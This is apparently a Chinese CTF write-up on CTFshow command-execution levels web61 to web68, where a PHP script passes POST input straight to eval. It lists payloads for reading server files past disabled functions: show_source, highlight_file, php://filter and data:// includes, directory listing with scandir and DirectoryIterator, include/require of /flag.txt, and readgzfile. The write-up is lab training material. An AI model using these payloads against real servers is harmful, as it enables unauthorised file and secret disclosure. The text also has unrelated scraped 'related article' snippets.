CTFshow系列——命令執行web61-68

本篇文章介紹了不同了方法進行題目的解析以及原因講解。

文章目錄

    • Web61
      • 嘗試了一下,被過濾的payload如下:
      • 所以,根據上述思路,這里嘗試過的payload為:
    • Web62(同Web61)
    • Web63(同Web62)
    • Web64(同Web63)
    • Web65(同Web64)
    • Web66(新知識點)
      • 失敗的payload
      • 知識點
      • 新思路:PHP原生類可遍歷目錄
    • Web67(同Web66)
    • Web68(新知識)
    • 總結


Web61

命令執行,突破禁用函數.先看下代碼:

<?php// 你們在炫技嗎?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}

我們隨便嘗試了payload,發現file_get_contents()函數還被過濾了(又損失一員大醬

在這里插入圖片描述

嘗試了一下,被過濾的payload如下:

c=echo file_get_contents('flag.php');
c=readfile('flag.php');# 后面會解釋
c=rename("flag.php","out2.txt");
c=copy("flag.php","out1.txt");

所以,根據上述思路,這里嘗試過的payload為:

c=highlight_file('flag.php');
c=echo highlight_file('flag.php');# payload
c=show_source(next(array_reverse(scandir(pos(localeconv())))));
# 偽協議
c=include("php://filter/convert.iconv.utf8.utf16/resource=flag.php");
c=include "data://text/plain,<?php show_source('flag.php'); ?>";# POST傳參
c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php

在這里插入圖片描述
當然,之前說的額外方法是不是也能用?

  • copy函數 被過濾了,無法使用
  • rename函數 也被過濾了,無法使用

Web62(同Web61)

還是先看代碼:

<?php// 你們在炫技嗎?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}

嘗試了一下,發現并未變化,繼續用Web61的payload:
(這里就不顯示了,參照上一題;)

在這里插入圖片描述


Web63(同Web62)

<?php// 你們在炫技嗎?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}

沒有什么不同,參照Web62關的payload;


Web64(同Web63)

<?php// 你們在炫技嗎?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}

沒有什么不同,參照Web63關的payload;
(嗯?這回答我好像在哪見過?)

# payload:
c=show_source('flag.php');

這個不能算多,因為放到上面幾關一樣能用,只不過是我忘了而已;

Web65(同Web64)

同理,參照Web64關的payload;


Web66(新知識點)

好了,刷了這么多分,相信也厭倦了,這關開始就有點不同了:

<?php// 你們在炫技嗎?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}

失敗的payload

嘗試過后,我們發現常用的函數都被過濾掉了:

  • show_source()
  • highlight_file()

在這里插入圖片描述
在這里插入圖片描述

而php偽協議的結果也顯示亂碼:(中文才會亂碼)
不出意外,應該就是:“秀秀得了,這次不在這里”

c=include("php://filter/convert.iconv.utf8.utf16/resource=flag.php");

在這里插入圖片描述

知識點

但是終究還是有成功的:

# POST傳參
c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php

那么除此之外,我們還有什么別的辦法嗎?
答:有的,那是肯定的;

要想得到flag,首先得知道文件所在的位置:

  • var_dump(scandir("/"));
    • scandir(“/”):scandir() 函數用于掃描指定目錄并返回目錄中的文件和子目錄列表。“/” 表示服務器的根目錄(在 Linux 系統中是根目錄,Windows 系統中可能是當前磁盤根目錄)。
    • var_dump():用于打印變量的詳細信息,包括數據類型、長度和值。
    • 整體作用:掃描服務器根目錄下的所有文件和文件夾,并以詳細格式(包含數據類型和長度)輸出結果。
  • print_r('/');
    • print_r() 是 PHP 中用于打印變量的函數,通常用于打印數組或對象的結構,但也可以打印普通變量。
    • 這里參數是字符串 ‘/’,所以會直接輸出字符 /。
    • 整體作用:簡單輸出一個斜杠字符,沒有實際的文件系統掃描功能,只是輸出字符串本身。
  • var_export(scandir('/'));
    • 同樣調用 scandir(‘/’) 掃描服務器根目錄,獲取文件和目錄列表。
    • var_export() 函數用于輸出或返回一個變量的字符串表示(類似 PHP 代碼的格式),適合用于將變量結構以可執行的 PHP 代碼形式展示。
    • 整體作用:掃描服務器根目錄,并以 PHP 代碼格式的字符串形式輸出目錄列表(可以直接作為 PHP 代碼使用)。

所以,我們首先可以查看文件所在位置究竟在何處:

c=var_dump(scandir("/"));
c=print_r(scandir("/"));
c=var_export(scandir('/'));

在這里插入圖片描述

那我們要怎么查看flag.txt文件呢?
嗯?你敢說這種話,我之前寫的文章白看了?,真得控制你了

# payload
c=highlight_file('/flag.txt');# POST傳參
c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php

在這里插入圖片描述

新思路:PHP原生類可遍歷目錄

這種方法也是好方法,雖然我也是第一次遇到。

# payload
c=%24dir%3dnew%20DirectoryIterator(%22%2f%22)%3b%0aforeach(%24dir%20as%20%24f)%7b%0a%20%20%20%20echo(%24f.'%3cbr%3e')%3b%7d)

解碼后結果顯示:

在這里插入圖片描述


Web67(同Web66)

嘗試過了,一模一樣

# 查看目錄
c=var_dump(scandir("/"));
c=print_r(scandir("/"));
c=var_export(scandir('/'));# payload
c=highlight_file('/flag.txt');# POST傳參
c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php# PHP類遍歷目錄
c=%24dir%3dnew%20DirectoryIterator(%22%2f%22)%3b%0aforeach(%24dir%20as%20%24f)%7b%0a%20%20%20%20echo(%24f.'%3cbr%3e')%3b%7d)

沒什么好說的,直接看payload;


Web68(新知識)

老樣子。。。我代碼呢?

在這里插入圖片描述

嘗試了一下發現查看目錄還是能夠正常進行:

# 查看目錄
c=var_dump(scandir("/"));
c=print_r(scandir("/"));
c=var_export(scandir('/'));

highlight_file() 函數被過濾了,我們要如何查看flag文件呢?

經過我的嘗試,發現最有用的還是文件包含的手法:

  • 在命令執行的題目,做文件包含嗎,有意思。
# payload
c=include('/flag.txt');  // 直接包含文件
c=include_once('/flag.txt');
c=require('/flag.txt'); 
c=require_once('/flag.txt');# POST傳參
c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php
c=include_once($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php
c=require($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php
c=require_once($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php# PHP類遍歷目錄
c=%24dir%3dnew%20DirectoryIterator(%22%2f%22)%3b%0aforeach(%24dir%20as%20%24f)%7b%0a%20%20%20%20echo(%24f.'%3cbr%3e')%3b%7d)

還有新函數c=readgzfile(); ,我也是看了WP才知道這個函數:

c=readgzfile("/flag.txt");

總結

還是那句話,好好學習沉淀,終究會達到你想要的目標。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/95104.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/95104.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/95104.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

.Net程序員就業現狀以及學習路線圖(二)

一、.NET程序員就業現狀分析 1. 市場需求與崗位分布 2025年.NET開發崗位全國招聘職位約1676個&#xff0c;占全國技術崗位的0.009%&#xff0c;主要集中在一線城市如深圳、上海等地。就業單位類型分布為&#xff1a;軟件公司占43.3%&#xff0c;研發機構占33.1%&#xff0c;物聯…

MTK Linux DRM分析(二十二)- MTK mtk_drm_crtc.c(Part1)

一、代碼分析 mtk_drm_crtc.c以mtk_crtc_comp_is_busy函數為界限進行拆分分析 static const struct drm_crtc_funcs mtk_crtc_funcs = {.set_config = drm_atomic_helper_set_config,.page_flip = drm_atomic_helper_page_flip,.destroy = mtk_drm_crtc_destroy,.reset = mtk…

stm32f103c8t6 led閃燈實驗

目錄 閃燈原理 2種接線方式控制閃燈 使用推挽接法 使用開漏接法 看原理圖 寫代碼 閃燈原理 LED燈有個2-10mA的電流就可以點亮 3.3/5100.006A6mA 2種接線方式控制閃燈 使用推挽接法 當設置推挽模式時&#xff0c;CPU控制寄存器寫0&#xff0c;IO引腳輸出低電壓&#xff0…

“我同意”按鈕別亂點——你的“職業EULA”漏洞掃描報告

尊敬的審核&#xff1a; 本人文章《“我同意”按鈕別亂點——你的“職業EULA”漏洞掃描報告》 1. 純屬技術交流&#xff0c;無任何違法內容 2. 所有法律引用均來自公開條文 3. 請依據《網絡安全法》第12條“不得無故刪除合法內容”處理 附&#xff1a;本文結構已通過區塊鏈存證…

Product Hunt 每日熱榜 | 2025-09-01

1. A01 標語&#xff1a;你個人的新聞助手 介紹&#xff1a;A01 是你的新聞助手&#xff0c;可以幫你關注你關心的任何話題。只需告訴它你想了解什么&#xff0c;它就能為你帶來最新的文章。 產品網站&#xff1a; 立即訪問 Product Hunt&#xff1a; View on Product Hunt…

【OpenFeign】基礎使用

【OpenFeign】基礎使用1. Feign介紹1.1 使用示例1.2 Feign與RPC對比1.3 SpringCloud Alibaba快速整合OpenFeign1.3.1 詳細代碼1. Feign介紹 1.什么是 Feign Feign 是 Netflix 開發的一個 聲明式的 HTTP 客戶端&#xff0c;在 Spring Cloud 中被廣泛使用。它的目標是&#xff…

訪問相同的url,相同入參的請求,Apifox/Postman可以正常響應結果,而本地調用不行(或結果不同)

文章目錄問題概述Apifox查看實際請求總結問題概述 開發中有一個需求需要去別的系統中拿數據&#xff0c;配置好相關參數后發起請求時發現響應結果和在Apifox上不同&#xff0c;Apifox上正常顯示數據&#xff0c;而本地調用后返回數據不存在。 這就很奇怪了&#xff0c;想了很多…

數據結構(C語言篇):(七)雙向鏈表

目錄 前言 一、概念與結構 二、雙向鏈表的實現 2.1 頭文件的準備 2.2 函數的實現 2.2.1 LTPushBack( )函數&#xff08;尾插&#xff09; &#xff08;1&#xff09;LTBuyNode( ) &#xff08;2&#xff09;LTInit( ) &#xff08;3&#xff09;LTPrint( ) &#x…

從拿起簡歷(resume)重新找工作開始聊起

經濟蕭條或經濟衰退在經濟相關學術上似乎有著嚴格的定義&#xff0c;我不知道我們的經濟是否已經走向了衰退或者蕭條&#xff0c;但有一點那是肯定的&#xff0c;那就現在我們的經濟肯定是不景氣的。經濟不景氣會怎么樣&#xff1f;是的&#xff0c;會有很多人失業&#xff0c;…

OS+MySQL+(其他)八股小記

魯迅先生曾經說過&#xff0c;每天進步一點點&#xff0c;媽媽夸我小天才。 依舊今日八股&#xff0c;這是我在多個文檔整合一起的&#xff0c;可能格式有些問題&#xff0c;請諒解。 操作系統 1.進程和線程的區別&#xff1f; 進程是代碼在數據集合的一次執行活動&#xff0c;…

Transformer的并行計算與長序列處理瓶頸總結

&#x1f31f; 第0層&#xff1a;極簡版&#xff08;30秒理解&#xff09;一句話核心&#xff1a;Transformer像圓桌會議——所有人都能同時交流&#xff08;并行優勢&#xff09;&#xff0c;但人越多會議越混亂&#xff08;長序列瓶頸&#xff09;。核心問題 并行優勢&#x…

Vue 3 useId 完全指南:生成唯一標識符的最佳實踐

&#x1f4d6; 概述 useId() 是 Vue 3 中的一個組合式 API 函數&#xff0c;用于生成唯一的標識符。它確保在服務端渲染&#xff08;SSR&#xff09;和客戶端渲染之間生成一致的 ID&#xff0c;避免水合不匹配的問題。 &#x1f3af; 基本概念 什么是 useId&#xff1f; useId…

CGroup 資源控制組 + Docker 網絡模式

1 CGroup 資源控制組1.1 為什么需要 CGroup - 容器本質 宿主機上一組進程 - 若無資源邊界&#xff0c;一個暴走容器即可拖垮整機 - CGroup 提供**內核級硬限制**&#xff0c;比 ulimit、nice 更可靠1.2 核心概念 3 件套 | 概念 | 一句話解釋 | 查看方式 | | Hierarchy | 樹…

【ArcGIS微課1000例】0150:如何根據地名獲取經緯度坐標

本文介紹了三種獲取地理坐標的方法:1)在ArcGIS Pro中通過搜索功能定位目標點(如月牙泉)并查看其WGS84坐標;2)使用ArcGIS內置工具獲取坐標;3)推薦三個在線工具(maplocation、地球在線、yanue)支持批量查詢和多地圖源坐標轉換。強調了使用WGS84坐標系以減少誤差,并展示…

HTML應用指南:利用GET請求獲取MSN財經股價數據并可視化

隨著數字化金融服務的不斷深化&#xff0c;及時、準確的財經信息已成為投資者決策與市場分析的重要支撐。MSN財經股價數據服務作為廣受信賴的金融信息平臺&#xff0c;依托微軟強大的技術架構與數據整合能力&#xff0c;持續為全球用戶提供全面、可靠的證券市場數據。平臺不僅提…

雅思聽力第四課:配對題核心技巧與詞匯深化

現在&#xff0c;請拿出劍橋真題&#xff0c;開始你的刻意練習&#xff01; 內容大綱 課程核心目標舊題回顧與基礎鞏固配對題/匹配題核心解題策略考點總結與精聽訓練表 一、課程核心目標 掌握第二部分配對題的解題策略攻克第三部分匹配題的改寫難點系統整理高頻場景詞匯與特…

SQL Server從入門到項目實踐(超值版)讀書筆記 25

第12章 存儲過程的應用 &#x1f389;學習指引 存儲過程&#xff08;Stored Procedure&#xff09;是在大型數據庫系統中&#xff0c;一組為了完成特定功能的SQL語句集&#xff0c;存儲過程時數據庫中的一個重要對象&#xff0c;它代替了傳統的逐條執行SQL語句的方式。本章就來…

20.29 QLoRA適配器實戰:24GB顯卡輕松微調650億參數大模型

QLoRA適配器實戰:24GB顯卡輕松微調650億參數大模型 QLoRA 適配器配置深度解析 一、QLoRA 適配器核心原理 QLoRA 作為當前大模型微調領域的前沿技術,通過量化與低秩適配的協同設計,在保證模型效果的前提下實現了顯存占用的革命性降低。其核心由三大技術支柱構成: 4位量化…

QMainWindow使用QTabWidget添加多個QWidget

QTabWidget添加其它Wdiget的2個函數如下&#xff1a; QTabWidget的介紹可參考官網QTabWidget Class | Qt Widgets | Qt 6.9.1 直接上代碼&#xff0c;代碼如下&#xff1a; #include <QMainWindow>#include <QApplication> #include <QVBoxLayout> #includ…

AI學習機哪個好?選這幾款步步高就對了

隨著新教改政策的推進&#xff0c;教育對孩子的綜合素養提出了更高要求。英語更重聽說、數學更重思維&#xff0c;這讓許多家長在輔導孩子時感到壓力倍增。因此&#xff0c;如何選擇一款能真正幫助孩子提升能力的學習機&#xff0c;成為了大家普遍關心的問題。面對市場上功能各…